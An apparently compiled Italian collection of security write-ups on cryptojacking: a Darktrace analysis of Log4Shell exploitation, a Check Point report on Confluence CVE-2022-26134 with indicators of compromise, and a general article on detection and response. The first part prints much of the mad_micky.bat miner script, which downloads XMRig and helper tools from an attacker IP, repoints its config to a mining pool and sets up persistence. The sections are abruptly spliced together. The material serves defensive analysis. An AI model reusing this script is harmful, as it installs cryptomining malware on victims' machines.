demining/log4j-vulnerabilityAnalisi educativa della vulnerabilità Log4Shell (CVE-2021-44228), che ne dettaglia lo sfruttamento in una campagna di mining di criptovalute con IoC, mappatura MITRE ATT&CK e indicazioni per il rilevamento.
Il team di sicurezza di Alibaba Cloud ha divulgato pubblicamente una vulnerabilità critica (CVE-2021-44228) che consente l'esecuzione di codice remoto non autenticato su diverse versioni di Apache Log4j2 (Log4Shell). I server vulnerabili possono essere sfruttati da aggressori che si connettono tramite qualsiasi protocollo come HTTPS e inviano una stringa appositamente predisposta.
Darktrace ha rilevato attività di crypto-mining su diverse installazioni dei clienti, verificatesi a seguito dello sfruttamento di questa vulnerabilità Log4j. In ciascuno di questi incidenti, lo sfruttamento è avvenuto tramite connessioni SSL in uscita che sembrano essere richieste di script PowerShell codificati in base64 per bypassare le difese perimetrali e scaricare file script batch (.bat) e molteplici eseguibili che installano malware di crypto-mining. L'attività presentava indicatori di campagna più ampi, inclusi IP hard-coded comuni, file eseguibili e script.
Il ciclo di attacco inizia con quella che sembra essere una scansione opportunistica di dispositivi connessi a Internet alla ricerca di server VMWare Horizons vulnerabili allo sfruttamento di Log4j. Una volta trovato un server vulnerabile, l'aggressore effettua connessioni HTTP e SSL verso la vittima. Dopo uno sfruttamento riuscito, il server effettua un callback sulla porta 1389, recuperando uno script chiamato mad_micky.bat. Questo ottiene quanto segue:
In almeno due casi, lo script mad_micky.bat è stato recuperato in una connessione HTTP che aveva lo user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). Questa è stata la prima e unica volta che questo user agent è stato visto su queste reti. Sembra che questo user agent sia utilizzato legittimamente da alcuni dispositivi ASUS con installazioni di fabbrica nuove; tuttavia, essendo un nuovo user agent visto solo durante questa attività, risulta sospetto.
Dopo uno sfruttamento riuscito, il server effettua un callback sulla porta 1389 per recuperare file script. In questo esempio, /xms.ps1 è uno script PowerShell codificato in base64 che bypassa la politica di esecuzione sull'host per chiamare ‘mad_micky.bat’:
Figura 1: Ulteriori dettagli sullo script PowerShell xms.ps1
Lo snapshot dettaglia il registro eventi per un server interessato e indica un Log4j RCE riuscito che ha comportato il download del file mad_micky.bat:
Figura 2: Dati di log che evidenziano il file mad_micky.bat
Sono state avviate connessioni aggiuntive per recuperare file eseguibili e script. Gli script contenevano due indirizzi IP situati in Corea e Ucraina. È stata effettuata una connessione all'IP ucraino per scaricare il file eseguibile xm.exe, che attiva il miner. Il miner, XMRig Miner (in questo caso) è uno strumento di mining open source e multipiattaforma disponibile per il download da più posizioni pubbliche. Il successivo download di exe osservato è stato per ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).
Figura 3: Ulteriori dettagli sull'eseguibile XMRig
La connessione all'IP coreano ha comportato una richiesta per un altro script (/2.ps1) e un file eseguibile (LogBack.exe). Questo script elimina le attività in esecuzione associate alla registrazione, inclusi il filtro del registro eventi SCM o il consumer del registro eventi PowerShell. Lo script richiede anche un file da Pastebin, che è probabilmente un file di configurazione del beacon Cobalt Strike. Le eliminazioni dei log sono state effettuate tramite attività pianificate e WMI inclusi: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.
Il secondo file richiesto da Pastebin, sebbene non più ospitato da Pastebin, fa parte di un comando schtasks, e quindi probabilmente utilizzato per stabilire la persistenza:
Il file eseguibile Logback.exe è un altro strumento di mining XMRig. È stato anche scaricato un file config.json dallo stesso IP coreano. Successivamente sono stati utilizzati comandi cmd.exe e wmic per configurare il miner.
Questi download di file e la configurazione del miner sono stati seguiti da ulteriori connessioni a Pastebin.
Figura 4: Correlazione OSINT del file mad_micky.bat
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1Le principali violazioni del modello utilizzate da Darktrace per identificare questa campagna includono modelli incentrati sul compromesso per Protocollo Applicativo su Porta Inusuale, Connessione in Uscita verso Raro dal Server, e Beaconing verso Destinazione Rara. Modelli incentrati sui file per Trasferimento File Camuffato, File Eseguibili Multipli e Script da Posizioni Rare, e Contenuto Compresso da Posizione Esterna Rara. Il mining di criptovalute viene rilevato nei modelli di Attività di Mining di Criptovalute.
I modelli associati a PowerShell Inusuale verso User Agent Raro e Nuovo evidenziano le connessioni anomale sui dispositivi infetti dopo i callback Log4j.
I clienti con la tecnologia Autonomous Response di Darktrace, Antigena, hanno anche avuto azioni per bloccare i file e gli script in arrivo scaricati e limitare i dispositivi infetti al normale pattern di vita per prevenire sia i download iniziali di file dannosi che l'attività di crypto-mining in corso.
Il 31 maggio, una vulnerabilità critica non patchata, che colpisce tutte le versioni supportate di Confluence Server e Data Center, è stata segnalata ad Atlassian da Volexity, una società di sicurezza.
Atlassian ha avvertito i propri clienti della vulnerabilità critica il 2 giugno e ha rilasciato una patch un giorno dopo. CISA ha aggiunto questa vulnerabilità alla loro lista di Vulnerabilità Note Sfruttate il 3 giugno.
Check Point ha rilasciato una protezione dedicata per prevenire un attacco che sfrutta questa vulnerabilità e consiglia ai clienti di patchare i sistemi interessati.
La Vulnerabilità
La vulnerabilità in Atlassian Confluence e Data Center, designata come CVE-2022-26134, può portare a un attacco di injection di espressioni Object-Graph Navigation Language (OGNL) non autenticato.
Un attaccante remoto non autenticato può utilizzare questa vulnerabilità per eseguire codice arbitrario sul server di destinazione inserendo un payload dannoso nell'URI.
Figura 1: Payload dannoso che sfrutta CVE-2022-26134.
Sfruttamento in Natura
I ricercatori di Check Point Research (CPR) hanno notato un gran numero di tentativi di sfruttamento da quando la vulnerabilità è stata pubblicata. Inizialmente, molti dei potenziali aggressori hanno utilizzato metodi di scansione per identificare bersagli vulnerabili. Dopo alcuni giorni, gli aggressori hanno iniziato a utilizzare la vulnerabilità per scaricare malware sui sistemi interessati.
Tra i log di sfruttamento, i ricercatori hanno notato alcuni payload dannosi correlati alla stessa campagna e provenienti dalla stessa fonte, ma destinati a piattaforme diverse: Linux e Windows.
La catena di infezione dipende dal sistema operativo della vittima.
Attacco Mirato al Sistema Operativo Linux
L'aggressore ha utilizzato la vulnerabilità zero-day di Atlassian inviando una richiesta HTTP manipolata alla vittima.
Figura 2: Una richiesta HTTP manipolata che sfrutta CVE-2022-26134 con un payload codificato in base64.
La stringa base64 si decodifica in un'altra stringa codificata in base64. Complessivamente, i ricercatori hanno dovuto decodificare la stringa alcune volte per ottenere il payload effettivo.
Figura 3: La stringa base64 decodificata.
Questo script scarica un file di script bash chiamato xms dal server C&C remoto nella cartella tmp della vittima, lo esegue e lo cancella successivamente.
Figura 4: Parte dello script dannoso xms.
Il file xms è uno script dropper. Disinstalla gli agent in esecuzione dalla macchina della vittima e si aggiunge ai cron job per mantenere la persistenza al riavvio.
Inoltre, viene eseguito costantemente un test di connettività di rete verso a[.]oracleservice.top.
Nel tentativo di diffondersi ad altre macchine, lo script cerca chiavi ssh e tenta di connettersi. Quindi scarica il file xms dal server C&C e lo esegue.
Lo script scarica un file eseguibile elf chiamato dbused nella cartella tmp su vari IP remoti.
Il file dbused è impacchettato con upx per evitare il rilevamento statico.
Il file elf è un crypto miner che esaurisce le risorse della macchina vittima:
Figura 5: Il processo dbused esaurisce le risorse del sistema.
L'attacco mirato al sistema operativo Windows
L'attaccante ha sfruttato la vulnerabilità di Atlassian per eseguire un PowerShell download cradle e avviare un attacco fileless da un server C&C remoto.
Figura 6: Una richiesta HTTP manipolata che sfrutta CVE-2022-26134 utilizzando comandi PowerShell.
Lo script lol.ps1 viene iniettato in un processo di memoria PowerShell.
Lo script verifica l'architettura del processore, utilizzando wmi per controllare se corrisponde ai suoi requisiti.
Successivamente scarica un file eseguibile chiamato checkit2 nella cartella tmp e lo esegue in modalità nascosta.
Figura 7: Lo script lol.ps1.
Il processo checkit2.exe genera un processo figlio, chiamato InstallUtil.exe, che si connette al server C&C. Il InstallUtil.exe a sua volta genera un altro processo figlio, AddInProcess.exe, che è il crypto miner. Dopo alcuni istanti di esecuzione sulla macchina vittima, il processo checkit2 si termina da solo.
Figura 8: Il processo checkit2.exe in esecuzione sul sistema.
Figura 9: Il processo InstallUtil.exe in esecuzione sul sistema.
Il malware scarica una nuova copia di se stesso, con un nuovo nome, nella cartella del menu Start.
Figura 10: Il file cloud.exe scaricato nella cartella Startup.
Il crypto miner ora viene eseguito sulla macchina ed esaurisce tutte le risorse del sistema:
Figura 11: Informazioni sul portafoglio crypto.
Catena dell'attacco
Entrambi gli scenari di attacco iniziano con una richiesta HTTP iniziale manipolata che sfrutta la vulnerabilità CVE-2022-26134. L'attaccante esegue comandi utilizzando la funzione di esecuzione Java per scaricare un payload dannoso sulla macchina della vittima.
Il payload dannoso scarica quindi un file eseguibile in base al sistema operativo interessato. Entrambi gli eseguibili eseguono un crypto miner per utilizzare le risorse della vittima a proprio vantaggio.
Attori delle minacce
Il dominio a[.]oracleservice.top e il portafoglio crypto che abbiamo estratto dal sistema sono correlati a un gruppo criminale informatico chiamato “8220 gang”.
Protezioni Check Point:
IPS:
Atlassian Confluence Remote Code Execution (CVE-2022-26134)
Anti-Bot:
Trojan.WIN32.XMRig
IOC:
198.251.86[.]46
51.79.175[.]139
167.114.114[.]169
146.59.198[.]38
51.255.171[.]23
a.oracleservice[.]top
d2bae17920768883ff8ac9a8516f9708967f6c6afe2aa6da0241abf8da32456e
2622f6651e6eb01fc282565ccbd72caba9844d941b9d1c6e6046f68fc873d5e0
4e48080f37debd76af54a3231ecaf3aa254a008fae1253cdccfcc36640f955d9
4b8be1d23644f8cd5ea22fa4f70ee7213d56e3d73cbe1d0cc3c8e5dfafe753e0
Portafoglio Monero:
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
Il cryptojacking è l'uso non autorizzato delle risorse di calcolo di qualcun altro per minare criptovalute. Gli hacker cercano di dirottare qualsiasi tipo di sistema di cui possano impadronirsi: desktop, server, infrastruttura cloud e altro ancora, per minare illicitamente criptovalute.
Indipendentemente dal meccanismo di consegna, il codice di cryptojacking di solito funziona silenziosamente in background mentre le vittime inconsapevoli utilizzano i loro sistemi normalmente. Gli unici segni che potrebbero notare sono prestazioni più lente, ritardi nell'esecuzione, surriscaldamento, consumo eccessivo di energia o fatture di cloud computing anormalmente elevate.
Il mining di monete è un processo legittimo nel mondo delle criptovalute che rilascia nuova criptovaluta in circolazione. Il processo funziona premiando con valuta il primo minatore che risolve un complesso problema computazionale. Quel problema completa blocchi di transazioni verificate che vengono aggiunte alla blockchain della criptovaluta.
“I minatori sono essenzialmente pagati per il loro lavoro di revisori. Stanno facendo il lavoro di verificare la legittimità delle transazioni Bitcoin,” ha dettagliato un recente articolo di Investopedia su come funziona il mining di Bitcoin. “Oltre a riempire le tasche dei minatori e supportare l'ecosistema Bitcoin, il mining ha un altro scopo vitale: è l'unico modo per rilasciare nuova criptovaluta in circolazione.”
Guadagnare criptovaluta tramite il mining di monete richiede tipicamente un'enorme quantità di potenza di elaborazione ed energia. Inoltre, l'ecosistema delle criptovalute è progettato in modo tale da rendere il mining più difficile e ridurre le ricompense nel tempo e con più concorrenza nel mining. Questo rende il mining legittimo di criptovalute un affare estremamente costoso, con spese che aumentano continuamente.
I criminali informatici riducono i costi del mining semplicemente rubando risorse di calcolo ed energetiche. Utilizzano una serie di tecniche di hacking per ottenere l'accesso a sistemi che faranno il lavoro computazionale illecitamente e poi inviano i risultati a un server controllato dall'hacker.
I metodi di attacco sono limitati solo dalla creatività dei cryptojacker, ma i seguenti sono alcuni dei più comuni utilizzati oggi.
In passato, il cryptojacking era principalmente un attacco malware sugli endpoint, esisteva come un ulteriore obiettivo di guadagno per distribuire malware su desktop e laptop. Il malware tradizionale di cryptojacking viene consegnato attraverso canali tipici come malware fileless, schemi di phishing e script dannosi incorporati in siti web e applicazioni web.
Il modo più semplice con cui gli attaccanti di cryptojacking possono rubare risorse è inviare agli utenti endpoint un'email dall'aspetto legittimo che li incoraggia a cliccare su un link che esegue codice per inserire uno script di cryptomining sul loro computer. Questo viene eseguito in background e invia i risultati tramite un'infrastruttura di comando e controllo (C2).
Un altro metodo è iniettare uno script su un sito web o un annuncio pubblicitario che viene distribuito su più siti. Una volta che le vittime visitano il sito o l'annuncio infetto appare nei loro browser, lo script viene eseguito automaticamente. Nessun codice viene memorizzato sui computer delle vittime.
Queste vie rimangono ancora una preoccupazione legittima, anche se i criminali hanno aggiunto tecniche significativamente più sofisticate ai loro repertori di cryptojacking mentre cercano di aumentare i profitti, con alcuni di questi metodi in evoluzione descritti di seguito.
Gli attaccanti cercano di aumentare la redditività del cryptojacking ampliando i propri orizzonti a server, dispositivi di rete e persino dispositivi IoT. I server, ad esempio, sono un bersaglio particolarmente succulento poiché di solito sono più potenti di un comune desktop. Sono anche un terreno di caccia privilegiato nel 2022, poiché i malintenzionati scansionano server esposti a internet pubblico che contengono vulnerabilità come Log4J, sfruttando la falla e caricando silenziosamente software di cryptomining sul sistema connesso ai server dell'hacker. Spesso gli attaccanti utilizzano il sistema inizialmente compromesso per spostare lateralmente il loro cryptojacking verso altri dispositivi di rete.
“Stiamo assistendo a un aumento del cryptomining derivante dalla vulnerabilità Log4J,” afferma Sally Vincent, senior threat research engineer di LogRhythm. “Gli hacker irrompono nelle reti e installano malware che utilizza l'archiviazione per minare criptovalute.”
I criminali informatici stanno prendendo di mira la supply chain del software infestando i repository di codice open source con pacchetti e librerie malevoli che contengono script di cryptojacking incorporati nel loro codice. Con sviluppatori che scaricano questi pacchetti in milioni in tutto il mondo, questi attacchi possono aumentare rapidamente l'infrastruttura di cryptojacking per i malintenzionati in due modi. I pacchetti malevoli possono essere utilizzati per prendere di mira i sistemi degli sviluppatori—e le risorse di rete e cloud a cui si connettono—per usarli direttamente come risorse illecite di cryptomining. Oppure possono sfruttare questi attacchi per avvelenare il software che questi sviluppatori stanno costruendo con componenti che eseguono script di cryptomining sulle macchine dell'utente finale di un'applicazione.
Molte imprese di cryptojacking stanno sfruttando la scalabilità delle risorse cloud irrompendo nell'infrastruttura cloud e attingendo a un insieme ancora più ampio di pool di calcolo per alimentare la loro attività di mining. Uno studio dello scorso autunno del Google Cybersecurity Action Team ha riportato che l'86% delle istanze cloud compromesse vengono utilizzate per il cryptomining.
“Oggi, gli attaccanti prendono di mira i servizi cloud con qualsiasi mezzo per minare sempre più criptovaluta, poiché i servizi cloud possono consentire loro di eseguire i calcoli su scala più ampia rispetto a una singola macchina locale, sia che si tratti di prendere il controllo dell'ambiente cloud gestito di un utente o addirittura abusare di applicazioni SaaS per eseguire i loro calcoli,” ha scritto Guy Arazi, senior security researcher di Palo Alto Networks, in un post sul blog.
Uno dei metodi comuni per farlo è scansionare per individuare API di contenitori esposte o bucket di storage cloud non sicuri e utilizzare quell'accesso per iniziare a caricare software di mining di monete su istanze di contenitori o server cloud colpiti. L'attacco è tipicamente automatizzato con software di scansione che cerca server accessibili a internet pubblico con API esposte o accesso non autenticato possibile. Gli attaccanti generalmente utilizzano script per rilasciare i payload del miner sul sistema iniziale e per cercare modi per propagarsi attraverso i sistemi cloud connessi.
“La redditività e la facilità di condurre cryptojacking su larga scala rendono questo tipo di attacco un frutto a portata di mano,” ha detto Matt Muir, security researcher di Cado Security, in un post sul blog spiegando che gli attacchi basati sul cloud sono particolarmente redditizi. “Questo probabilmente continuerà fintanto che gli utenti continueranno a esporre servizi come Docker e Redis a reti non fidate.”
Secondo un rapporto di ReasonLabs, nell'ultimo anno il 58.4% di tutti i Trojan rilevati erano coin miner di cryptojacking. Nel frattempo, un altro studio di SonicWall ha rilevato che il 2021 è stato il peggior anno finora per gli attacchi di cryptojacking, con la categoria che ha registrato 97.1 milioni di attacchi nel corso dell'anno. Questi numeri sono così alti perché il cryptojacking è praticamente una macchina da soldi per i criminali informatici.
Quando un malvivente può minare criptovaluta su un pool apparentemente illimitato di risorse di calcolo gratuite provenienti da macchine vittime, il guadagno per loro è enorme. Anche con il crollo precipitoso della valutazione di Bitcoin questa primavera che l'ha portata al di sotto del livello di $30.000, i margini illeciti dei cryptojacker hanno ancora senso dal punto di vista commerciale, poiché il valore di ciò che minano supera di gran lunga i costi della loro infrastruttura criminale.
Un honeypot del team di ricerca sulla sicurezza di Cado Labs ha scoperto un attacco di cryptojacking multi-stadio che prende di mira endpoint API del motore Docker esposti e server Redis, e può propagarsi in modo simile a un worm. L'attacco è perpetrato dal gruppo di attacco WatchDog, particolarmente attivo tra la fine del 2021 e il 2022 con numerose campagne di cryptojacking.
TeamTNT è stato uno dei primi gruppi di hacker a spostare fortemente l'attenzione del cryptojacking verso i servizi cloud. I ricercatori di TrendMicro alla fine del 2021 hanno riportato che questo gruppo, insieme a rivali come la banda Kinsig, stavano conducendo campagne di cryptojacking che installavano miner nelle istanze Alibaba Elastic Computing Service (ECS) e disabilitavano le funzionalità di sicurezza per eludere il rilevamento.
La vulnerabilità Log4Shell è stata una manna per gli attaccanti di cryptojacking nel 2022. In un esempio eclatante, i ricercatori di Sophos hanno scoperto all'inizio di quest'anno che un'‘orda’ di attaccanti stava prendendo di mira server VMware Horizon per distribuire una serie di payload di cryptojacking che includevano z0Miner, JavaX miner e almeno due varianti di XMRig, i bot miner di criptovalute Jin e Mimu.
Gli esperti di sicurezza della supply chain del software di Sonatype nell'autunno del 2021 hanno lanciato l'allarme su pacchetti malevoli di cryptomining nascosti in npm, il repository di pacchetti JavaScript utilizzato dagli sviluppatori di tutto il mondo. All'epoca ha trovato un trio di pacchetti, almeno uno dei quali si spacciava per una libreria legittima e popolare utilizzata dagli sviluppatori chiamata “ua-parser-js”, che ottiene oltre 7 milioni di download settimanali e sarebbe un modo ideale per attirare gli sviluppatori a scaricare accidentalmente un pezzo di codice malevolo e installarlo nel loro software.
Pochi mesi dopo quel rapporto, i ricercatori di WhiteSource (ora Mend) hanno rilasciato un ulteriore rapporto che mostra che npm brulica di codice malevolo—fino a 1.300 pacchetti malevoli che includono cryptojacking e altri comportamenti nefasti.
La scorsa estate Bitdefender ha scoperto un gruppo criminale rumeno che prendeva di mira macchine Linux con credenziali SSH per distribuire malware di mining di Monero. Gli strumenti utilizzati erano distribuiti con un modello as-a-service. Questo esempio era la punta di una lancia di quella che sembra essere una tendenza crescente di attacchi di cryptomining su sistemi Linux. Un rapporto di VMware all'inizio di quest'anno ha dettagliato una crescente presa di mira degli ambienti multi-cloud basati su Linux, in particolare utilizzando il software di mining XMRig.
"Molti dei campioni di cryptomining provenienti da sistemi Linux hanno qualche relazione con l'applicazione XMRig", spiega il rapporto, che mostrava che l'89% degli attacchi di cryptomining utilizzava librerie relative a XMRig. "Pertanto, quando vengono identificate librerie e moduli specifici di XMRig in binari Linux, è probabile che siano prove di un potenziale comportamento di cryptomining."
CoinStop è un'altra campagna di cryptojacking scoperta di recente che prende di mira i provider di servizi cloud (CSP) asiatici. Questa si è distinta per le sue misure anti-forensi e di evasione. Queste includevano il timestomping per manipolare i timestamp di sistema, la rimozione delle politiche crittografiche di sistema e l'uso del file di dispositivo /dev/tcp per creare una sessione di reverse shell, ha spiegato Muir di Cado in un rapporto sull'attacco.
I cryptojacker a volte possono spingersi fino a rubare non solo potenza di elaborazione ma anche energia e risorse di rete dall'infrastruttura aziendale. L'anno scorso gli analisti di Darktrace hanno evidenziato un esempio anonimo di uno dei suoi clienti in cui è stata scoperta una fattoria di cryptomining in un magazzino, nascosta all'interno di un anonimo set di scatole di cartone. All'interno c'era una configurazione stealth con più GPU collegate all'alimentazione della rete aziendale,
Essendosi evoluto in un attacco multi-vettore che si estende su endpoint, server e risorse cloud, la prevenzione del cryptojacking richiede una strategia di difesa orchestrata e completa. I seguenti passaggi possono aiutare a prevenire che il cryptojacking dilaghi sulle risorse aziendali.
Adottare una protezione endpoint forte: La base di ciò è l'utilizzo di protezione endpoint e anti-malware in grado di rilevare i cryptominer, oltre a mantenere aggiornati i filtri web e gestire le estensioni del browser per ridurre al minimo il rischio di esecuzione di script basati sul browser. Le organizzazioni dovrebbero idealmente cercare piattaforme di protezione endpoint che possano estendersi anche ai server e oltre.
Applicare patch e rafforzare i server (e tutto il resto). I cryptojacker tendono a cercare i frutti più bassi da raccogliere silenziosamente, inclusa la scansione di server pubblicamente esposti con vulnerabilità più vecchie. Un rafforzamento di base del server che includa patch, disattivazione dei servizi inutilizzati e limitazione delle impronte esterne può fare molto per ridurre al minimo il rischio di attacchi basati su server.
Utilizzare l'analisi della composizione del software. Gli strumenti di analisi della composizione del software (SCA) forniscono una migliore visibilità sui componenti utilizzati all'interno del software per prevenire attacchi alla supply chain che sfruttano script di mining di monete.
Caccia alle configurazioni errate del cloud. Uno dei modi più efficaci con cui le organizzazioni possono fermare il cryptojacking nel cloud è stringere le configurazioni del cloud e dei container. Ciò significa trovare servizi cloud esposti a internet pubblico senza autenticazione adeguata, sradicare server API esposti ed eliminare credenziali e altri segreti memorizzati negli ambienti di sviluppo e hardcodati nelle applicazioni.
Il cryptojacking è un classico attacco informatico lento e silenzioso progettato per lasciare il minimo segno per evitare il rilevamento a lungo termine. Sebbene le piattaforme di protezione endpoint e le tecnologie di rilevamento e risposta endpoint abbiano fatto molta strada nell'allertare sugli attacchi di cryptojacking, i malintenzionati sono maestri nell'evasione su questo fronte e rilevare i miner di monete illeciti può ancora rivelarsi difficile, specialmente quando solo pochi sistemi sono compromessi. Di seguito sono riportati alcuni metodi aggiuntivi per segnalare segni di cryptojacking.
Formare il proprio help desk a cercare segni di cryptomining. A volte la prima indicazione sugli endpoint degli utenti è un picco di reclami all'help desk riguardo a prestazioni lente del computer. Questo dovrebbe far scattare un campanello d'allarme per indagare ulteriormente, così come dispositivi che si surriscaldano o scarse prestazioni della batteria nei dispositivi mobili.
Implementare una soluzione di monitoraggio della rete. Gli strumenti di monitoraggio della rete possono offrire un potente mezzo per rilevare i tipi di traffico web e traffico C2 in uscita che indicano attività di cryptojacking, indipendentemente dal dispositivo da cui provengono.
"Se si dispone di un buon filtraggio in uscita su un server in cui si osservano le connessioni in uscita, questo può essere una buona rilevazione per [malware di cryptomining]", dice Travis Farral, vice presidente e CISO di Archaea Energy. Tuttavia, avverte che gli autori di cryptominer possono scrivere il loro malware per evitare quel metodo di rilevamento.
Utilizzare il monitoraggio cloud e la sicurezza runtime dei container. Strumenti in evoluzione come il monitoraggio cloud e la scansione della sicurezza runtime dei container possono offrire una visibilità aggiuntiva negli ambienti cloud che potrebbero essere interessati da cryptominer non autorizzati. I provider cloud stanno integrando questo tipo di visibilità nei loro servizi, a volte come componenti aggiuntivi. Ad esempio, Google Cloud ha ampliato il suo Security Command Center all'inizio di quest'anno per includere quello che chiama Virtual Machine Threat Detection (VMTD) per rilevare segni di cryptomining nel cloud, tra le altre minacce cloud.
Impegnarsi in cacce alle minacce regolari. Poiché molti attacchi di cryptojacking sono furtivi e lasciano poche tracce, le organizzazioni potrebbero dover adottare misure più attive come la caccia alle minacce per cercare regolarmente segni sottili di compromissione e seguire con indagini.
"I team di sicurezza endpoint e SOC dovrebbero investire tempo in esercizi attivi e cacce alle minacce invece di aspettare che accada qualcosa di potenzialmente catastrofico", dice Vincent di LogRhythm.
Monitorare i propri siti web per codice di cryptomining. Farral avverte che i cryptojacker trovano modi per inserire frammenti di codice Javascript sui server web. "Il server stesso non è il bersaglio, ma chiunque visiti il sito web [rischia l'infezione]", dice. Raccomanda di monitorare regolarmente le modifiche ai file sul server web o le modifiche alle pagine stesse.
Dopo che è stata rilevata un'attività di cryptomining illecita, la risposta a un attacco di cryptojacking dovrebbe seguire i passaggi standard di risposta agli incidenti informatici che includono contenimento, eradicazione, recupero e lezioni apprese. Alcuni suggerimenti su come rispondere a un attacco di cryptojacking includono:
Uccidere gli script consegnati via web. Per gli attacchi JavaScript in-browser, la soluzione è semplice una volta rilevato il cryptomining: chiudere la scheda del browser che esegue lo script. L'IT dovrebbe annotare l'URL del sito web che è la fonte dello script e aggiornare i filtri web dell'azienda per bloccarlo.
Spegnere le istanze di container compromesse. L'infrastruttura cloud immutabile come le istanze di container compromesse con miner di monete può essere gestita semplicemente spegnendo le istanze di container infette e ricominciando da capo. Tuttavia, le organizzazioni devono indagare sulle cause profonde che hanno portato alla compromissione del container in primo luogo. Ciò significa cercare segni che il dashboard del container e le credenziali siano stati compromessi ed esaminare le risorse cloud connesse per segni di compromissione. Un passo fondamentale è garantire che la nuova immagine del container sostitutiva non sia configurata in modo simile.
Ridurre i permessi e rigenerare le chiavi API. Eradicare e recuperare completamente dal cryptojacking basato su cloud richiederà alle organizzazioni di ridurre i permessi alle risorse cloud colpite (e a quelle connesse) e rigenerare le chiavi API per impedire agli aggressori di rientrare nello stesso ambiente cloud.
